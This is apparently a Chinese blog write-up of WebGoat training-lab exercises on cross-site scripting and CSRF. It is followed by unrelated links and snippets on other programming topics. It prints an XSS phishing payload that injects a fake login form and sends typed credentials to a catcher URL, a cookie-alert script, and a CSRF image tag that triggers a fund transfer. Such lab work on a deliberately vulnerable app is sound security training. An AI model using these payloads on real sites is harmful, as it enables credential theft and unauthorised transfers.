WebGoat系列实验Cross-Site Scripting (XSS)

PhishingTitle

  1. 本次实验是在一个已知存在XSS漏洞的页面进行钓鱼攻击。通过使用XSS与HTML注入,在页面中注入身份认证html代码,添加javascript脚本收集身份认证信息,并发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
  2. 输入以下javascript代码。(之前这个位置提交的javascript代码没有显示出来,原来是因为源代码被过滤掉了...)
</form><script>function hack(){image=new Image;image.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&username="+document.phish.username.value+"&password="+document.phish.password.value+"";alert("PHISHING!");}</script><form name = "phish"><br><HR><H3>This feature requires account login:</H3><br>Enter Username:<br><input type="text" name="username"><br>Enter Password:<br><input type="password" name="password"><br><input type="submit" name=login value="login" onclick=hack()></form><br><HR>
  1. 在伪造的输入框中输入用户名与密码,点击login按钮,用户的登录认证信息就被发送到构造的页面中了。

LAB: Cross Site Scripting

Stage 1:Stored XSS

  1. 作为Tom,在个人简介编辑页执行存储型XSS攻击,验证Jerry会受到攻击影响。
  2. 使用Tom登录,修改Tom的个人简介编辑页的街道一栏,在其后添加,更新个人信息。
  3. 使用Jerry登录,选择Tom的个人信息进行查看,弹窗表明存储型XSS攻击成功。

Stage 2:Block Stored XSS using Input Validation

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage3:Stored XSS Revisited

验证Bruce的个人简介中包含有XSS攻击,使用David用户登录,查看Bruce的个人简介,出现弹窗,表明存在XSS攻击。

Stage4:Block Stored XSS using Output Encoding

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage5:Reflected XSS

  1. 利用查找职工页面的缺陷制作一个包含有反射型XSS的URL,验证其他使用这个链接的用户也会受到攻击影响。
  2. 使用用户Larry登录,在Search Staff搜索框中输入。

Stage6:Block Reflected XSS

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stored XSS Attacks

  1. 清除所有的输入是一个很好的选择,尤其是清除那些将被用作参数使用的输入。对于在应用程序中永久存储的内容特别重要。当用户的消息被检索时,不能出现不期望的消息内容。
  2. 在输入的内容中添加javascript代码,点击Submit按钮。
  3. 点击生成的文章链接,会显示一个弹窗,表明页面存在存储型XSS。

Reflected XSS Attacks

  1. 在服务器端验证所有输入是一个很好的选择。未验证的用户输入可能会在HTTP响应中出现XSS。攻击者可以创建一个URL,通过让受害者点击的方式进行XSS攻击。
  2. 在digit access code框中添加
<script>alert(document.cookie);</script>

,点击Purchase按钮完成。

Cross Site Request Forgery (CSRF)

  1. 实验需要向新闻组发送一封email。在email中包含一张图片,图片的URL指向一个恶意请求。实验中,URL应指向attack servlet,参数有Screen与menu,还有一个额外的参数transferFunds带有任意数值。收件人刚好进行身份认证,正在转移资金。
  2. 构造一封邮件,在Message后添加一张图片,根据Screen与menu值构造URL,图片的javascript代码为
<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>



3. 当收件人打开这封email时,由于自身身份已经认证,因此账户被转移了5000。

CSRF Prompt By-Pass

  1. 实验需要向新闻组发送email包含以下恶意请求,首先转账,然后请求提示确认。
  2. 在email的正文中输入如下javascript代码。

CSRF Token By-Pass

WebGoat系列实验Cross-Site Scripting (XSS)的更多相关文章

  1. WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...

  2. 跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...

  3. 跨站脚本攻击(Cross‐Site Scripting (XSS))实践

    作者发现博客园在首页显示摘要时未做html标签的过滤,致使摘要中的html代码可以被执行,从而可以注入任何想要被执行的js代码,作者利用这一缺陷在本文摘要中插入了一段js代码执行alert弹窗,同时增 ...

  4. XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)

    本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sh ...

  5. Web安全之XSS(Cross Site Scripting)深入理解

    XSS的含义 XSS(Cross Site Scripting)即跨站脚本.跨站的主要内容是在脚本上. 跨站脚本 跨站脚本的跨,体现了浏览器的特性,可以跨域.所以也就给远程代码或者第三方域上的代码提供 ...

  6. XSS 跨站脚本攻击(Cross Site Scripting)

    xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意 ...

  7. WebGoat系列实验AJAX Security

    WebGoat系列实验AJAX Security DOM Injiction 实验对象是一个接受激活密钥后允许你访问的系统,实验目标是尝试将激活按钮变得可以点击. 直接修改页面代码激活按钮,Chrom ...

  8. Healwire Online Pharmacy 3.0 Cross Site Request Forgery / Cross Site Scripting

    Healwire Online Pharmacy version 3.0 suffers from cross site request forgery and cross site scriptin ...

  9. 跨站脚本攻击XXS(Cross Site Scripting)修复方案

    今天突然发现,网站被主页莫名奇妙的出现了陌生的广告. 通过排查发现是跨站脚本攻击XXS(Cross Site Scripting).以下为解决方案. 漏洞类型: Cross Site Scriptin ...

随机推荐

  1. New Year and Buggy Bot

    Bob programmed a robot to navigate through a 2d maze. The maze has some obstacles. Empty cells are d ...

  2. 洛谷 P3052 [USACO12MAR]摩天大楼里的奶牛Cows in a Skyscraper

    题目描述 A little known fact about Bessie and friends is that they love stair climbing races. A better k ...

  3. Maven实现直接部署Web项目到Tomcat7

    如题目,自动部署到Web服务器,直接上过程. 1.Tomcat7的用户及权限配置:在conf目录下,找到tomcat-users.xml,添加manager权限的用户. <role rolena ...

  4. Python函数-compile()

    compile(source, filename, mode[, flags[, dont_inherit]]) 作用: 将source编译为代码或者AST对象.代码对象能够通过exec语句来执行或者 ...

  5. 一、Jmeter的安装

    一.首先安装Jmeter 1.安装java Jmeter是使用java实现的测试工具,在安装Java之前我们需要安装java. 到这里去下载相应的JDK:https://www.java.com/en ...

  6. div+css制作带箭头提示框效果图(原创文章)

    一直都在看站友们的作品,今天也来给大家分享一个小的效果,第一次发还有点小紧张呢,语言表达能力不是很好,还请见谅…^ 先来个简单点的吧,上效果图 刚开始在网上看到效果图的时候感觉好神奇,当我试着写出来的 ...

  7. Tex 括号的反思

    在Tex中,左双引号是“,右双引号是”,输入一篇包含双引号的文章,你的任务是把它转换成Tex的格式. 样例输入: “To be or not to be,”quoth the Bard,"t ...

  8. C++模板的一些巧妙功能

    判断类中是否有指定名称的函数: #include<utility> #define HAS_MEMBER(member)\ template<typename T,typename. ...

  9. SQL中得到最后一个“-”后面的字符串

    declare @str varchar(50) set @str='-'+'1-9-3-2'--前面加个'-'防止没有'-'出错 select REVERSE(SUBSTRING(REVERSE(@ ...

  10. CreateMutex实现只能打开一个客户端

    #include "stdafx.h" #include <Windows.h> #include <iostream> using namespace s ...